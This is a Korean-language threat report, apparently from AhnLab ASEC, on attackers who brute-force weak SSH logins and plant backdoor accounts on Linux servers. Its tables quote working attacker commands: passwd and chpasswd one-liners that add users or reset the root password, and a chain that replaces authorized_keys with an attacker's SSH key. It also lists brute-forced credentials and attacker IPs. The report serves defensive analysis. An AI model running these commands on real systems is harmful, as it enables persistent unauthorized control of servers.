리눅스 백도어 계정을 설치하는 공격자들

리눅스 백도어 계정을 설치하는 공격자들

AhnLab SEcurity intelligence Center(ASEC)은 리눅스 SSH 허니팟을 활용하여 불특정 다수의 리눅스 시스템을 대상으로 한 공격을 모니터링하고 있다. 공격자들은 기본적으로 설정되어 있거나 단순한 형태의 비밀번호를 사용하는 부적절하게 관리되고 있는 리눅스 시스템들을 무차별 대입 공격 및 사전 공격하여 악성코드들을 설치하고 있다.

웜, 코인 마이너 및 DDoS Bot을 설치하는 다양한 공격 사례들이 존재하지만 여기에서는 악성코드 대신 백도어 계정을 생성하는 공격 사례들을 다룬다. 이러한 공격은 오래전부터 지속된 공격이지만 악성코드를 설치하는 공격들처럼 최근까지도 많은 공격 로그가 확인되고 있다.

공격자들은 새로운 계정을 추가하거나 기존 root 계정의 비밀번호를 변경하기도 하며 비밀번호 없이 로그인하기 위한 SSH 키를 등록하는 방식의 공격을 사용한다. 이에 따라 추후 해당 계정으로 로그인하여 감염 시스템을 제어할 수 있으며 최종적으로 랜섬웨어나 코인 마이너, DDoS Bot 등 다양한 악성코드들을 설치할 수도 있다.

1. 백도어 계정

지속성 유지 단계는 공격 과정에서 공격자가 최초 공격 이후에도 지속적으로 감염 시스템에 대한 제어를 가능하게 해주는 기법이다. 일반적으로 악성코드들은 레지스트리 Run 키나 작업 스케줄러, 서비스 등에 자신을 등록하여 재부팅 이후에도 실행되도록 지속성을 유지시킨다. 지속성 유지 기법으로는 이러한 악성코드와 관련된 부분 외에도 백도어 계정을 추가하는 방식도 존재한다.

예를 들어 Kimsuky 위협 그룹은 윈도우 시스템을 공격할 때 감염 시스템을 제어하기 위해 RAT를 사용하기도 하지만 RDP를 이용해 GUI 환경으로 감염 시스템을 원격 제어하기도 한다. 이에 따라 Kimsuky 그룹은 감염 시스템에 RDP Wrapper를 설치하거나 RDP 서비스를 활성화하고 이후 RDP 서비스를 패치하여 RDP 다중 접속을 가능하게 하기도 한다. 그리고 새로운 계정을 등록하고 은폐하여 이후 생성한 계정으로 감염 시스템을 제어한다. [1]

이렇게 추가적인 계정을 등록하는 공격 방식은 윈도우 시스템뿐만 아니라 리눅스도 동일하다. 리눅스 환경 대상 공격에서는 윈도우와 마찬가지로 새로운 계정을 생성하는 방식이 있다. 물론 이외에도 root 계정과 같이 높은 권한을 가지며 이미 존재하는 계정의 비밀번호를 변경할 수도 있다.

리눅스 관리자들은 보안을 위해 SSH 서버에 비밀번호로 로그인하는 대신 서버에 SSH 키를 등록하여 이후 생성한 키를 기반으로 클라이언트에서 서버로 로그인할 수 있다. 이를 사용하면 비밀번호를 사용하지 않아도 되고 해당 키를 보유하고 있는 클라이언트에서만 서버에 접속할 수 있다. 공격자들은 이러한 방식을 활용하여 로그인한 계정에 직접 생성한 SSH 키를 등록함으로써 이후 해당 키를 이용해 비밀번호 입력 없이 감염 시스템에 로그인할 수 있다.

2. 리눅스 SSH 서버 대상 공격

공격자들은 공격 대상에 대한 정보 즉 IP 주소와 SSH 자격 증명 정보를 획득할 필요가 있으며 이를 위해 IP를 스캐닝하면서 SSH 서비스 즉 22번 포트가 활성화된 서버를 찾는다. 이후에는 ID / PW 정보를 알아내기 위해 무차별 대입 공격(또는 사전 공격)을 수행하여 로그인을 시도한다. 로그인에 성공하면 뒤에서 다룰 다양한 명령들을 실행해 감염 시스템에 백도어 계정을 추가한다.

User Password Attacker
admin1 admin 180.151.19[.]85
root 1234!@#$ 180.151.19[.]85
svn svn 180.151.19[.]85
root tttttt 124.221.81[.]81
root 1QZ2WX3EC 124.221.81[.]81
345gs5662d34 345gs5662d34 124.221.81[.]81

Table 1. 리눅스 백도어 계정 공격 사례에서 사용된 ID / PW 목록

3. 공격 사례 분석

3.1. 사용자 계정 추가

로그인에 성공한 공격자는 다음과 같은 명령을 이용해 새로운 계정을 등록하였다. 생성한 계정을 통해 공격자는 추후에도 감염 시스템에 로그인하여 악성코드 설치하거나 다양한 악성 행위를 수행할 수 있을 것이다.

Attacker 추가한 계정 Command
218.75.72[.]82 tomer # echo -e “tomer\nsIeI5BHxSX3y\nsIeI5BHxSX3y”|passwd|bash
106.55.28[.]159 123456 # echo -e “123456\nBaPSCgtzh27G\nBaPSCgtzh27G”|passwd|bash
115.219.2[.]97 username123456 # echo -e “username123456\nm9qMsqItsEr4\nm9qMsqItsEr4″|passwd|bash

Table 2. 사용자 계정 추가 명령들

이러한 공격 로그는 다수의 Attack Source들에서 확인되고 계정 및 비밀번호도 매번 달라지는데 이러한 점을 보면 로그인에 성공한 이후 계정을 등록하는 명령까지 모두 자동화된 스크립트가 있을 것으로 보인다. 예를 들어 과거 침투한 리눅스 시스템에 스캐너 악성코드를 설치하는 사례를 다루었는데, [2] 만약 로그인에 성공한 시스템들에 대해 백도어 계정을 추가하는 스크립트를 추가적으로 설치하였다면 이러한 공격을 자동화할 수 있을 것이다.

3.2. root 계정 비밀번호 변경

새로운 사용자 계정을 추가하는 대신 기존에 존재하는 root 계정의 비밀번호를 변경하는 방식도 다수 확인된다. Root 계정은 일반적인 리눅스 시스템에 존재하며 시스템을 제어할 수 있는 권한도 충분하기 때문에 주요 공격 대상이 되는 계정이다. 공격자는 다음과 같은 명령들을 이용해 root 계정의 비밀번호를 변경하였으며 이러한 로그도 다수 확인되는 것을 보아 공격자 시스템에 스캐너 악성코드와 함께 해당 명령을 수행하는 스크립트를 함께 설치한 것으로 보인다.

Attacker Command
106.13.198[.]93 # echo “root:Kx1ZUAdwqxj4″|chpasswd|bash
175.178.80[.]251 # echo “root:U356mjT31Wga”|chpasswd|bash
117.50.187[.]121 # echo “root:gK18riPfcCjG”|chpasswd|bash
47.103.63[.]1 # echo “root:Mo0ai05lV75A”|chpasswd|bash

Table 3. root 사용자 비밀번호 변경 명령들

이렇게 로그인 이후 단순하게 root 계정의 비밀번호를 변경하는 명령만 실행하는 유형과 달리 다음과 같이 추가적으로 감염 시스템 운영체제, 하드웨어, 사용자 정보 등 다양한 정보들을 출력하는 명령들을 함께 사용하는 공격 사례들도 존재한다. 공격자는 root 계정을 본인만 로그인할 수 있는 백도어 계정으로 전환한 이후 해당 정보들을 기반으로 추후 악성코드를 설치하거나 다크웹에 자격 증명 정보를 판매할 수도 있을 것이다.

# cat /proc/cpuinfo | grep name | wc -l
# echo “root:jeEQGchP0tzc”|chpasswd|bash
# rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
# ls -lh $(which ls)
# which ls
# crontab -l
# w
# uname -m
# cat /proc/cpuinfo | grep model | grep name | wc -l
# top
# uname
# uname -a
# whoami
# lscpu | grep Model
# df -h | head -n 2 | awk ‘FNR == 2 {print $2;}’

Table 4. root 계정 비밀번호를 재설정하는 공격 사례

3.3. SSH 키 등록

지금까지는 사용자 계정을 추가하거나 이미 존재하는 root 계정의 비밀번호를 공격자가 아는 형태로 변경하는 공격 사레를 다루었다. 하지만 이러한 방식 외에도 감염 시스템 즉 리눅스 서버에 SSH 키를 생성하는 형태도 다수 존재한다.

리눅스 서버에 SSH를 이용해 로그인할 시 비밀번호를 입력할 수도 있지만 SSH 키를 이용하면 비밀번호 입력 없이도 로그인이 가능하다. 이를 위해 SSH 키 쌍 즉 공개키 / 개인키를 생성하고 로그인할 리눅스 서버에 SSH 공개키를 설치하는 과정이 필요하다. 리눅스 서버에 공개키가 설치되었다면 이후 생성한 개인키를 이용해 클라이언트에서 서버로 비밀번호 입력 없이 로그인이 가능해진다.

공격자들은 이러한 점을 악용하여 로그인 이후 이미 존재하는 SSH 공개키 즉 “authorized_keys” 파일을 삭제한 후 이미 제작한 공개키의 내용을 “authorized_keys” 파일에 쓴다. 공격자는 이후 공개키 제작 시 함께 생성된 개인키를 이용해 감염 시스템에 로그인할 수 있을 것이다.

다음 공격은 위에서 다룬 백도어 계정 추가 공격과 유사하지만 SSH 공개키를 삽입하는 과정이 함께 포함되어 있다. 즉 공격자는 공격 과정에서 로그인한 계정에 대해서는 SSH 키를 이용해 로그인할 수 있으며 해당 계정이 아니라고 하더라도 새롭게 생성한 “student2123” 계정으로 로그인할 수도 있을 것이다.

# cd ~; chattr -ia .ssh; lockr -ia .ssh
# cd ~ && rm -rf .ssh && mkdir .ssh && echo “ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr”>>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
# cat /proc/cpuinfo | grep name | wc -l
# echo -e “student2123\nEI8sqWc0mQk3\nEI8sqWc0mQk3″|passwd|bash
# ls -lh $(which ls)
# which ls
# crontab -l
# w
# uname -m
# cat /proc/cpuinfo | grep model | grep name | wc -l
# top
# uname
# uname -a
# whoami
# lscpu | grep Model
# df -h | head -n 2 | awk ‘FNR == 2 {print $2;}’

Table 5. SSH 공개키를 삽입하는 공격 사례

3.4. 악성코드 공격 사례

A. KONO DIO DA 코인 마이너 공격 사례

백도어 계정 및 SSH 키를 생성하는 행위는 단독 공격으로 사용되기도 하지만 다른 공격에서 함께 사용되기도 한다. 과거 부적절하게 관리되는 리눅스 SSH 서버를 대상으로 한 KONO DIO DA 공격 사례에서는 XMRig 코인 마이너를 설치하면서 동시에 SSH 키 파일을 함께 추가하기도 하였다. [3] 다음과 같은 압축 파일 내부에는 SSH 공개키가 포함된 “key” 파일이 존재하며 “init0” 악성 Bash 스크립트가 이를 설치한다. 먼저 이미 존재하는 “~/.ssh/authorized_keys” 파일을 제거한 후에 “key” 파일을 해당 경로에 복사하는 것이다.

이외에도 usermod 명령을 이용해 “cheeki”라는 계정을 추가하고 감염 시스템에 만약 “root”, “dolphinscheduler”, “admin”, “es”, ”hadoop” 계정이 존재할 경우 공격자가 지정한 비밀번호로 변경하는 작업도 추가적으로 진행하였다.

B. DDoS Bot 공격 사례 (Tsunami, ShellBot)

과거 XMRig뿐만 아니라 Tsunami, ShellBot을 설치하던 공격 사례에서도 SSH 키 파일을 생성하는 행위가 확인되었다. [4] 공격자는 로그인에 성공한 이후 Bash 스크립트를 다운로드하고 실행하였는데 여기에는 코인 마이너, DDoS Bot, 로그 클리너 악성코드들을 설치하는 루틴들뿐만 아니라 SSH 키 파일을 생성하는 루틴도 존재한다.

4. 결론

부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 백도어 계정을 추가하는 공격 사례들은 과거부터 지금까지 지속적으로 확인되고 있다. 공격자는 설치한 백도어 계정을 이용해 이후 감염 시스템에 랜섬웨어, 코인 마이너, DDoS Bot과 같은 악성코드를 설치하거나 감염 시스템에서 수집한 자격 증명 정보를 다크웹에 판매할 수 있을 것이다.

이에 따라 관리자들은 SSH 서버의 보안 정책을 강화해야 한다. 먼저 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 한다. 그리고 SSH 보안을 위해 비밀번호 대신 SSH 키 기반 인증을 사용하거나 root 계정의 SSH 로그인을 비활성화할 수 있으며 허용된 IP만 SSH 접속이 가능하도록 제한할 수도 있다.

이외에도 외부에 공개되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

ASEC에서는 리눅스 SSH 허니팟을 활용하여 이러한 Attack Source의 주소들을 실시간으로 수집하고 있으며 확인된 주소들은 AhnLab TIP를 통해 제공 중이다.

IP

106[.]13[.]198[.]93
106[.]55[.]28[.]159
115[.]219[.]2[.]97
117[.]50[.]187[.]121
124[.]221[.]81[.]81

AhnLab TIP를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.